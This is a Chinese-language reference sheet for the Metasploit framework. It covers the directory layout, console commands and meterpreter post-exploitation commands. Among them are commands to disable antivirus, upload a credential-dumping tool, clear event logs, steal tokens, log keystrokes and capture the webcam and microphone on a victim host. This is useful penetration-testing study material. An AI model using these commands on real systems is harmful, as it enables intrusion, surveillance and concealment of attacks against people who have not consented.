MSF框架结构
Kali-metasploit 框架目录路径 /usr/share/metasploit-framework
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的 可编辑文件。
- documentation:包含框架的可用文档。
- lib:metasploit的库文件夹。
- plugins:用来存放metasploit的插件。
- scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
- tools:存放多种的命令行实用程序。
- modules:存储metasploit的模块文件。
MSF常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
核心命令
? 帮助菜单
banner 显示 Metasploit banner信息
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示对调试有用的信息
exit 退出控制台
features 显示可以选择加入的尚未发布的功能列表
get 获取特定变量的值
getg 获取全局变量的值
grep 筛选以一条命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复一个命令列表
route 通过一个session会话路由流量
save 保存活动的数据存储
sessions 导出会话列表并显示会话信息
set 将一个特定环境的变量设置为一个值
setg 将一个全局变量设置为一个值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips 显示有用的提示清单
unload 卸载框架插件
unset 取消设置的一个或多个变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
作业命令
handler 启动一个payload处理程序作为
job jobs 显示和管理
jobs kill 杀掉一个
job rename_job 重命名一个job
模块命令
advanced 显示一个或多个模块的高级选项
back 从当前环境返回
clearm 清除模块堆栈
favorite 将模块添加到最喜欢的模块列表中
info 显示一个或多个模块的详细信息
listm 列表中的模块栈
loadpath 从路径中搜索并加载模块
options 显示一个或多个模块全局选项
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动模块或模块列表推送到模块堆栈
reload_all 重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的的模块或所有模块
use 通过名称或搜索词/索引选择使用模块
攻击载荷命令
check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序
meterpreter
常用命令
background 放回后台
exit 关闭会话
help 帮助信息
sysinfo系统平台信息
screenshot 屏幕截取
shell 命令行shell (exit退出)
getlwd 查看本地目录
lcd 切换本地目录
getwd 查看目录
ls 查看文件目录列表
cd 切换目录
rm 删除文件
download C:\\1.txt 1.txt 下载文件
upload /var/www/wce.exe wce.exe 上传文件
search -d c: -f *.doc 搜索文件
execute -f cmd.exe -i 执行程序/命令
ps 查看进程
getuid 查看当前用户权限
run killav 关闭杀毒软件
run getgui-e 启用远程桌面
核心命令
? – 帮助菜单
background – 将当前会话移动到后台
bg - background的别名
bgkill – 总之后台 meterpreter 脚本
bglist – 列出后台运行中的脚本
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
disable_unicode_encoding - 禁用unicode字符串的编码
enable_unicode_encoding - 启用unicode字符串的编码
exit – 终止 meterpreter 会话
help – 帮助菜单
info - 显示有关Post模块的信息
irb - 在当前会话上打开交互式 Ruby 外壳
load - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate - 将服务迁移到另一个进程
pivot - 管理pivot侦听器
pry - 打开当前会话上的pry调试器
quit - 终止 meterpreter 会话
read - 从通道中读取数据
resource - 运行存储在文件中的命令
run - 执行一个meterpreter 脚本 或者 Post模块
secure - 在会话中协商TLV分组加密
sessions - 快速切换到另外一个session
set_timeouts - 设置当前会话的超时值
sleep - 强制meterpreter停止活动,然后重新建立会话
transport - 改变目前的运输机制.
use - 加载 meterpreter 的扩展,'load'的旧别名
uuid - 获取当前会话的UUID
write – 将数据写入到一个通道
文件系统命令
cat - 读取并输出到标准输出文件的内容
cd - 更改目录对受害人
checksum - 检索文件的校验和
cp - 将源复制到目标
dir - 列出文件(别名为 ls)
download - 下载文件或目录
edit - 编辑文件
getlwd - 输出本地工作目录
getwd - 输出工作目录
lcd - 更改本地工作目录
lls - 列出本地文件
lpwd - 输出本地工作目录
ls - 列出当前目录中的文件列表
mkdir - 创建目录
mv - 将源移动到目标
rm - 删除指定的文件
rmdir - 删除目录
search - 在目标主机文件系统上查找搜索文件 例如:search -d c:\\ -f *.doc 在目标主机C盘下搜索doc文档 show_mount - 列出所有装载点/逻辑驱动器
upload - 上传文件或目录
网络命令
arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
ifconfig - 显示网络接口的关键信息
ipconfig - 显示网络接口的关键信息
netstat - 显示网络连接
portfwd - 将本地端口转发到远程服务 例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
resolve - 解析目标上的一组主机名
route - 查看或加入受害者路由表 route add 5.5.5.0 255.255.255.0 1 用sessions 1会话加入指定网段
系统命令
clearev - 清除事件日志
drop_token - 放弃任何活动模拟令牌。
execute - 执行命令,在目标主机上运行某个程序
execute -f notepad.exe ,执行目标主机上的记事本程序,隐藏后台执行,加参数-H
getenv - 获取一个或多个环境变量值
getpid - 获取当前进程 ID (PID)
getprivs - 尝试启用当前进程可用的所有权限
getsid - 获取当前运行服务用户的SID
getuid - 获取当前运行服务的用户
kill - 终止进程
localtime - 显示目标系统的本地日期和时间
pgrep - 按名称显示进程
pkill - 按名称终止进程
ps - 列出正在运行的进程
reboot - 重新启动受害人的计算机
reg - 与受害人的注册表进行交互
rev2self - 在受害者机器上调用 RevertToSelf()
shell - 在远程计算机上打开一个shell
shutdown - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend - 挂起或恢复进程列表
sysinfo - 获取关于远程系统的信息,如操作系统
用户界面命令
enumdesktops - 列出所有可访问的desktops和Windows
getdesktop - 获取当前的 meterpreter 桌面
idletime - 检查长时间以来,受害者系统空闲进程
keyboard_send - 发送一个键盘记录器
keyevent - 发送key事件
keyscan_dump - 转储键盘记录器缓冲区内容
keyscan_start - 启动键盘记录器
keyscan_stop - 停止键盘记录器
mouse - 发送鼠标事件
screenshare - 实时监视远程用户的桌面
screenshot - 抓取交互式桌面的屏幕截图
setdesktop - 更改 meterpreter 当前桌面
uictl - 启用用户界面组件的一些控件
摄像头命令
record_mic - 从默认麦克风记录音频X秒
webcam_chat - 启动视频聊天
webcam_list - 列出摄像头
webcam_snap - 从指定的网络摄像头获取snapshot
webcam_stream - 从指定的网络摄像头播放视频流